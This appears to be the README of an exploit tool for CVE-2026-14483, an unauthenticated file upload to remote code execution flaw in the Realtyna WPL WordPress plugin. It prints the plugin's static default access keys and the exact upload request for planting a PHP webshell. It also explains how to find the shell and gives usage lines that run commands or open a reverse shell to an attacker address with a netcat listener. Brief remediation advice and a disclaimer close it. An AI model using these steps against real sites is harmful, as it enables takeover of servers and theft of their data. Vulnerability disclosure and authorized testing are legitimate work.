CVE-2026-14483 — Realtyna WPL / Organic IDX Unauthenticated Arbitrary File Upload → RCE

Unauthenticated arbitrary file upload leading to RCE in the Realtyna WPL / Organic IDX WordPress plugin (real-estate-listing-realtyna-wpl ≤ 5.2.0).

The plugin registers an "I/O service" on the public WordPress init hook, reachable unauthenticated at the site root via ?wplview=io&wplformat=io. The only gate is a pair of static, hard-coded default keys shipped in the plugin's migrations (identical on every install), with io_status enabled by default:

public_key  = U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w
private_key = Eft76bdh0o2uyhJkbG3T

The set_property command (libraries/io/mobile_application/set_property.php → wpl_file::upload) saves the uploaded file[] with move_uploaded_file and no extension/MIME check, so a .php webshell can be dropped and executed as the web user.

• Affected: real-estate-listing-realtyna-wpl ≤ 5.2.0
• Fixed: 5.3.0 (the vulnerable unauthenticated command was removed)
• CWE: 434 (Unrestricted Upload of File with Dangerous Type)
• Impact: unauthenticated RCE as the web user (www-data)

Requirements

Python 3 standard library only — no dependencies.

Usage

# run a command and print output
python3 exploit.py http://target/ -c id

# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://target/ --shell 10.10.14.5:4444

How it works

1. Upload — POST /?wplview=io&wplformat=io&public_key=…&private_key=…&cmd=set_property&commands_directory=mobile_application&user_id=1 with a multipart file[] named image_<name>.php. The image_ prefix is stripped, so the file is saved as <name>.php.
2. Locate — the webshell lands at wp-content/uploads/WPL/<pid>/<name>.php, where <pid> is the id of the property created by the request (the response doesn't echo it). The tool enumerates small property ids to find the shell.
3. Execute — browse …/<name>.php?c=<cmd>.

Identifying a target

A WordPress site with the real-estate-listing-realtyna-wpl plugin ≤ 5.2.0 active. The endpoint responds at GET /?wplview=io&wplformat=io (the plugin's I/O service).

Remediation

Update the plugin to ≥ 5.3.0, validate upload extensions/MIME, never execute PHP from wp-content/uploads, and rotate the plugin's static default I/O keys.

Disclaimer

For authorized security testing and education only. Use it only against systems you own or have explicit permission to test.